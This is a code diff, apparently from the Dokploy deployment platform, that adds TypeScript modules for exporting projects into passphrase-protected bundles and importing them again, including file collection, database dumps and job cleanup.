import {
buildBundleObjectKey,
slugifyProjectName,
uploadBundleToDestination,
} from "./delivery";
import { createDumps } from "./dumps";
import { collectFiles } from "./files";
import {
ACTIVE_EXPORT_STATUSES,
createExportJob,
deleteExportJob,
type ExportJob,
getExportJob,
issueDownloadToken,
listExpiredExportJobs,
updateExportJob,
} from "./jobs";
import { loadProjectTree, type TransferDb } from "./queries";
import {
fileSize,
type Location,
prepareRoot,
remove,
safeErrorMessage,
transferRoot,
} from "./remote-fs";
import { detectRequirements } from "./requirements";
import { serialize } from "./serialize";
import { scopedServices } from "./service-kinds";
import type { CaptureSource, ExportScope } from "./types";
import { BUNDLE_EXTENSION, exportScopeSchema } from "./types";
import type { InstanceVersions, RunVersionProbe } from "./versions";
import { collectDockerVersions } from "./versions";
import { detectWarnings } from "./warnings";
export type ExportDeliver =
| { kind: "download" }
| { kind: "destination"; destinationId: string };
export type RunExportInput = {
source: CaptureSource;
scope: ExportScope;
passphrase: string;
deliver?: ExportDeliver;
buildServerId?: string | null;
};
export type RunExportContext = {
db: TransferDb;
userId: string;
userEmail: string;
organizationId: string;
dokployVersion: string;
instance?: Omit<InstanceVersions, "dokployVersion">;
pathsFn?: typeof paths;
probeVersion?: RunVersionProbe;
};
export const fullExportScope = (): ExportScope =>
exportScopeSchema.parse({
shared: {
destination: "value",
registry: "value",
sshKey: "value",
network: "value",
certificate: "value",
dnsProvider: "value",
vaultProvider: "reference",
},
dumps: { mode: "embed" },
});
export const bundleBuildServer = async (
db: TransferDb,
projectId: string,
scope: ExportScope,
): Promise<string | null> => {
const tree = await loadProjectTree(db, { kind: "project", id: projectId });
const serverIds = new Set(
tree
? scopedServices(tree, scope).map(
({ service }) => (service.serverId as string | null) ?? null,
)
: [],
);
const remote = [...serverIds].find((id): id is string => !!id);
if (IS_CLOUD) {
if (!remote) {
throw new TRPCError({
code: "BAD_REQUEST",
message:
"On Dokploy Cloud the export is built on the project's server, but none of the selected services runs on a remote server",
});
}
return remote;
}
return serverIds.size === 1 && remote ? remote : null;
};
const discardExportFiles = async (job: ExportJob) => {
if (!job.workspace) return;
await remove(job.workspace).catch(() => {});
await remove({
...job.workspace,
path: `${job.workspace.path}${BUNDLE_EXTENSION}`,
}).catch(() => {});
};
export const runExport = (
input: RunExportInput,
ctx: RunExportContext,
): { exportId: string } => {
const job = createExportJob(randomUUID(), ctx.userId, ctx.organizationId);
job.workspace = transferRoot(
job.exportId,
input.buildServerId ?? null,
ctx.pathsFn ?? paths,
);
void executeExport(job, input, ctx);
return { exportId: job.exportId };
};
export const runExportBatch = (
inputs: RunExportInput[],
ctx: RunExportContext,
): { exportIds: string[] } => {
const jobs = inputs.map((input) => {
const job = createExportJob(randomUUID(), ctx.userId, ctx.organizationId);
job.workspace = transferRoot(
job.exportId,
input.buildServerId ?? null,
ctx.pathsFn ?? paths,
);
return { job, input };
});
void (async () => {
for (const { job, input } of jobs) {
await executeExport(job, input, ctx);
}
})();
return { exportIds: jobs.map(({ job }) => job.exportId) };
};
const executeExport = (
job: ExportJob,
input: RunExportInput,
ctx: RunExportContext,
): Promise<void> =>
buildExport(job, input, ctx)
.catch(async (error) => {
updateExportJob(job.exportId, {
status: "error",
error: safeErrorMessage(error),
});
await discardExportFiles(job);
})
.finally(() => {
// The TTL runs from createdAt; restart it so the result stays available
// for the full window however long the export (or its batch) took.
job.createdAt = Date.now();
});
const buildExport = async (
job: ExportJob,
input: RunExportInput,
ctx: RunExportContext,
): Promise<void> => {
const { exportId } = job;
const workDir = job.workspace as Location;
const { LOGS_PATH } = (ctx.pathsFn ?? paths)();
await prepareRoot(workDir);
const bundle = { ...workDir, path: `${workDir.path}${BUNDLE_EXTENSION}` };
const logPath = join(LOGS_PATH, `project-export-${exportId}.log`);
await mkdir(dirname(logPath), { recursive: true });
const emit = (message: string) => {
updateExportJob(exportId, { message });
void appendFile(
logPath,
`[${new Date().toISOString()}] ${message}\n`,
).catch(() => {});
};
updateExportJob(exportId, { status: "capturing" });
emit("Reading project tree...");
const captureResult = await capture(ctx.db, input.source, input.scope, {
detectRequirements: (tree, scope) =>
detectRequirements(ctx.db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
});
emit(`Captured ${captureResult.resources.services.length} services`);
const dockerVersions = await collectDockerVersions(
captureResult.tree,
input.scope,
ctx.probeVersion,
);
updateExportJob(exportId, { status: "dumping" });
const { dumps, warnings: dumpWarnings } = await createDumps(
ctx.db,
captureResult.tree,
input.scope,
workDir,
{ emit },
);
updateExportJob(exportId, { status: "collecting-files" });
const { warnings: fileWarnings } = await collectFiles(
captureResult.tree,
input.scope,
captureResult.requirements,
workDir,
{ emit, pathsFn: ctx.pathsFn },
);
const jobWarnings = [...dumpWarnings, ...fileWarnings];
updateExportJob(exportId, { status: "serializing" });
const estimatedDumpBytes = dumps.reduce(
(sum, dump) => sum + (dump.mode === "embed" ? dump.bytes : 0),
0,
);
await serialize(
{
resources: captureResult.resources,
inventory: { ...captureResult.inventory, estimatedDumpBytes },
requirements: captureResult.requirements,
warnings: [...captureResult.warnings, ...jobWarnings],
dumps,
scope: input.scope,
organizationId: ctx.organizationId,
dokployVersion: ctx.dokployVersion,
instanceInfo: { ...ctx.instance, dockerVersions },
exportedBy: { userId: ctx.userId, email: ctx.userEmail },
},
captureResult.secretsPlain,
input.passphrase,
workDir,
bundle,
);
const size = await fileSize(bundle);
const deliver = input.deliver ?? { kind: "download" };
const summary =
jobWarnings.length > 0
? `Export complete with ${jobWarnings.length} warning(s)`
: "Export complete";
if (deliver.kind === "destination") {
updateExportJob(exportId, { message: "Uploading to destination..." });
const destination = await ctx.db.query.destinations.findFirst({
where: (fields, { eq }) =>
eq(fields.destinationId, deliver.destinationId),
});
if (!destination) {
throw new Error(`Destination ${deliver.destinationId} not found`);
}
const key = buildBundleObjectKey(
slugifyProjectName(captureResult.resources.project.name as string),
new Date().toISOString(),
);
await uploadBundleToDestination(destination, bundle, key);
await remove(bundle);
updateExportJob(exportId, {
status: "done",
size,
deliveredKey: key,
deliveredDestinationId: destination.destinationId,
warnings: jobWarnings,
});
emit(`${summary}, uploaded to ${key}`);
return;
}
const downloadToken = issueDownloadToken(exportId);
updateExportJob(exportId, {
status: "done",
bundle,
size,
downloadToken,
warnings: jobWarnings,
});
emit(`${summary} (${size} bytes)`);
};
export const cancelExport = async (exportId: string): Promise<void> => {
const job = getExportJob(exportId);
if (!job) {
return;
}
if (ACTIVE_EXPORT_STATUSES.has(job.status)) {
throw new TRPCError({
code: "CONFLICT",
message:
"This export is still running; wait for it to finish before cancelling it.",
});
}
await discardExportFiles(job);
updateExportJob(exportId, { status: "cancelled" });
deleteExportJob(exportId);
};
export const cleanupExpiredExports = async (
now = Date.now(),
): Promise<ExportJob[]> => {
const expired = listExpiredExportJobs(now).filter(
(job) => !ACTIVE_EXPORT_STATUSES.has(job.status),
);
for (const job of expired) {
await discardExportFiles(job);
deleteExportJob(job.exportId);
}
return expired;
};
@@ -0,0 +1,159 @@
import { paths } from "@dokploy/server/constants";
import type { ProjectTree } from "./queries";
import {
at,
copyDir,
copyFile,
exists,
type Location,
remove,
safeErrorMessage,
} from "./remote-fs";
import { buildUsedBy, SERVICE_ID_FIELD, scopedServices } from "./service-kinds";
import type { Emit, ExportScope, Requirement, UsedBy, Warning } from "./types";
const GIT_SOURCE_TYPES = new Set([
"git",
"github",
"gitlab",
"bitbucket",
"gitea",
]);
const skipMessage = (from: Location, error: unknown) =>
`Skipped ${from.path}${from.serverId ? ` (server ${from.serverId})` : ""}: ${safeErrorMessage(error)}`;
const safeCopy = async (
copy: () => Promise<void>,
from: Location,
to: Location,
): Promise<string | undefined> => {
try {
if (!(await exists(from))) {
return;
}
await copy();
} catch (error) {
await remove(to).catch(() => {});
return skipMessage(from, error);
}
};
const safeCopyDir = (
from: Location,
to: Location,
opts?: { exclude?: string[] },
) => safeCopy(() => copyDir(from, to, opts), from, to);
const safeCopyFile = (from: Location, to: Location) =>
safeCopy(() => copyFile(from, to), from, to);
export type CollectFilesOptions = {
emit?: Emit;
pathsFn?: typeof paths;
};
export const collectFiles = async (
tree: ProjectTree,
scope: ExportScope,
requirements: Requirement[],
workDir: Location,
opts: CollectFilesOptions = {},
): Promise<{ warnings: Warning[] }> => {
const emit = opts.emit ?? (() => {});
const pathsFn = opts.pathsFn ?? paths;
const warnings: Warning[] = [];
const report = (skipped: string | undefined, affected: UsedBy[]) => {
if (!skipped) {
return;
}
emit(skipped);
warnings.push({
code: "FILE_PULL_FAILED",
severity: "warning",
message: skipped,
affected,
});
};
for (const { serviceType, environmentId, service } of scopedServices(
tree,
scope,
)) {
const serverId = (service.serverId as string | null) ?? null;
const appName = service.appName as string | null;
if (!appName) {
continue;
}
const remotePaths = pathsFn(serverId !== null);
const usedBy = buildUsedBy(
environmentId,
serviceType,
service,
service[SERVICE_ID_FIELD[serviceType]] as string,
);
if (serviceType === "application" && scope.files.applicationSources) {
const sourceType = service.sourceType as string;
const exclude = [".git", "node_modules"];
if (GIT_SOURCE_TYPES.has(sourceType)) {
exclude.push("code");
}
report(
await safeCopyDir(
{ serverId, path: `${remotePaths.APPLICATIONS_PATH}/${appName}` },
at(workDir, "files", "applications", appName),
{ exclude },
),
[usedBy],
);
}
if (serviceType === "compose" && scope.files.composeFiles) {
report(
await safeCopyDir(
{ serverId, path: `${remotePaths.COMPOSE_PATH}/${appName}` },
at(workDir, "files", "compose", appName),
),
[usedBy],
);
}
if (serviceType === "application" && scope.files.traefikRaw) {
report(
await safeCopyFile(
{
serverId,
path: `${remotePaths.DYNAMIC_TRAEFIK_PATH}/${appName}.yml`,
},
at(workDir, "files", "traefik", `${appName}.yml`),
),
[usedBy],
);
}
}
if (scope.files.customCertificates) {
for (const requirement of requirements) {
if (requirement.kind !== "certificate") {
continue;
}
const certName = requirement.originalId;
if (!certName) {
continue;
}
const serverId = requirement.serverId;
const remotePaths = pathsFn(serverId !== null);
report(
await safeCopyDir(
{ serverId, path: `${remotePaths.CERTIFICATES_PATH}/${certName}` },
at(workDir, "files", "certificates", certName),
),
requirement.usedBy,
);
}
}
return { warnings };
};
@@ -0,0 +1,148 @@
import { TRPCError } from "@trpc/server";
import { apply } from "./apply";
import {
deleteImportJob,
getImportJob,
type ImportJob,
listExpiredImportJobs,
RUNNING_IMPORT_STATUSES,
updateImportJob,
} from "./jobs";
import type { DeployCandidate } from "./post-apply";
import { postApply } from "./post-apply";
import type { TransferWriteDb } from "./queries";
import { remove, safeErrorMessage } from "./remote-fs";
import { restoreDumps } from "./restore";
import type { TransferResult } from "./types";
export type RunImportContext = {
db: TransferWriteDb;
organizationId: string;
enqueueDeploy?: (candidates: DeployCandidate[]) => Promise<void>;
scheduleJobs?: (result: TransferResult) => Promise<void>;
};
const discardImportFiles = async (job: ImportJob | undefined) => {
if (!job?.root) return;
await remove(job.root).catch(() => {});
};
export const runImport = (importId: string, ctx: RunImportContext): void => {
executeImport(importId, ctx)
.catch((error) => {
const job = getImportJob(importId);
updateImportJob(importId, {
status: job?.result ? "done" : "failed",
partial: !!job?.result,
error: safeErrorMessage(error),
});
})
.finally(() => discardImportFiles(getImportJob(importId)));
};
const executeImport = async (
importId: string,
ctx: RunImportContext,
): Promise<void> => {
const job = getImportJob(importId);
if (!job) {
throw new Error(`Import job ${importId} not found`);
}
if (!job.snapshot || !job.plan || !job.secretsPlain || !job.workDir) {
throw new Error(
"Import job is missing snapshot/plan/secrets; inspect, unlock and plan it first",
);
}
const { snapshot, plan, secretsPlain, workDir } = job;
updateImportJob(importId, {
status: "applying",
message: "Applying to database...",
});
const result = await apply(
ctx.db,
snapshot,
plan,
secretsPlain,
ctx.organizationId,
);
updateImportJob(importId, { result });
updateImportJob(importId, {
secretsPlain: undefined,
secretsOriginal: undefined,
});
updateImportJob(importId, {
status: "restoring",
message: "Copying files...",
});
const { deployCandidates, postApplyErrors } = await postApply(
ctx.db,
snapshot,
plan,
result,
workDir,
{
emit: (message) => updateImportJob(importId, { message }),
},
);
updateImportJob(importId, { message: "Restoring database dumps..." });
const restoreErrors = [
...postApplyErrors,
...(await restoreDumps(ctx.db, snapshot, result, workDir, {
emit: (message) => updateImportJob(importId, { message }),
skipServiceIds: new Set(postApplyErrors.map((error) => error.serviceId)),
})),
];
updateImportJob(importId, { restoreErrors, deployCandidates });
updateImportJob(importId, {
status: "deploying",
message: "Preparing deployments...",
});
if (ctx.scheduleJobs) {
await ctx.scheduleJobs(result);
}
if (ctx.enqueueDeploy && plan.deployAfterImport !== false) {
await ctx.enqueueDeploy(deployCandidates);
}
const partial = restoreErrors.length > 0;
updateImportJob(importId, {
status: "done",
partial,
message: partial ? "Import completed with some errors" : "Import complete",
snapshot: undefined,
});
};
export const cancelImport = async (importId: string): Promise<void> => {
const job = getImportJob(importId);
if (!job) {
return;
}
if (RUNNING_IMPORT_STATUSES.has(job.status)) {
throw new TRPCError({
code: "CONFLICT",
message:
"This import is still running; wait for it to finish before cancelling it.",
});
}
await discardImportFiles(job);
deleteImportJob(importId);
};
export const cleanupExpiredImports = async (
now = Date.now(),
): Promise<ImportJob[]> => {
const expired = listExpiredImportJobs(now).filter(
(job) => !RUNNING_IMPORT_STATUSES.has(job.status),
);
for (const job of expired) {
await discardImportFiles(job);
deleteImportJob(job.importId);
}
return expired;
};

Some files were not shown because too many files have changed in this diff Show More